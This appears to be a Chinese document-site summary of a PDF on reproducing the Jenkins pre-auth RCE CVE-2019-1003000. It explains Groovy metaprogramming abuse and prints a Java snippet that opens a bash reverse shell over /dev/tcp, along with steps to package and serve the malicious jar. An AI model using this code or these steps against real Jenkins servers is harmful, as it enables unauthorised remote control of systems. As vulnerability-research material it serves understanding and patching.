CVE-2019-1003000 Jenkins 不需登录的PreAuth-RCE漏洞复现与实践

需积分: 0 0 下载量 20 浏览量 更新于2024-08-05 收藏 341KB PDF 举报
本文档主要讨论了CVE-2019-1003000 Jenkins-PreAuth-RCE漏洞的复现过程。这个漏洞无需用户登录即可执行远程代码执行(Remote Code Execution, RCE),对于Jenkins的安全性构成了重大威胁。漏洞利用的关键在于Groovy插件的元编程滥用,攻击者可以通过构造恶意的Testjk.java文件并将其打包成jar文件,然后上传到Jenkins服务器的可访问路径。 首先,攻击者需要编写一个名为Testjk.java的Java类,该类包含一个方法,通过Runtime.getRuntime().exec()方法执行预定义的命令字符串,实现远程命令执行。例如,payload参数被设置为一个启动bash shell监听网络连接的命令: ```java String payload = "bash -i >&/dev/tcp/0.0.0.0/12340>&1&"; String[] cmds = {"/bin/bash", "-c", payload}; Runtime.getRuntime().exec(cmds); ``` 接下来,为了使Groovy插件识别并运行这个自定义的Java类,攻击者需要创建一个META-INF/services/org.codehaus.groovy.plugins.Runners文件,并将恶意类的名字写入其中,指示Jenkins加载这个插件。整个过程包括编译Testjk.java(`javac Testjk.java`),创建所需目录结构(如`mkdir -p META-INF/services/`),以及将生成的.jar文件放置在Jenkins服务器的特定目录,比如`/tools/jenkins/1`。 复现此漏洞时,攻击者会检查目标服务器上是否存在指定的目录结构,然后通过HTTP或HTTPS请求访问该恶意jar,从而触发漏洞。值得注意的是,这个漏洞的发现者Orange大佬在其博客文章中详细解释了漏洞原理和复现步骤,对于安全研究人员和Jenkins用户来说,这是一个重要的学习资源。 总结来说,CVE-2019-1003000 Jenkins-PreAuth-RCE漏洞的复现涉及到了Java代码的动态执行、元编程的滥用以及对Jenkins插件加载机制的理解。了解这种漏洞有助于加强Jenkins系统的安全配置,避免此类攻击的发生。对于任何维护或使用Jenkins的组织,都需要密切关注此类安全更新和漏洞修复。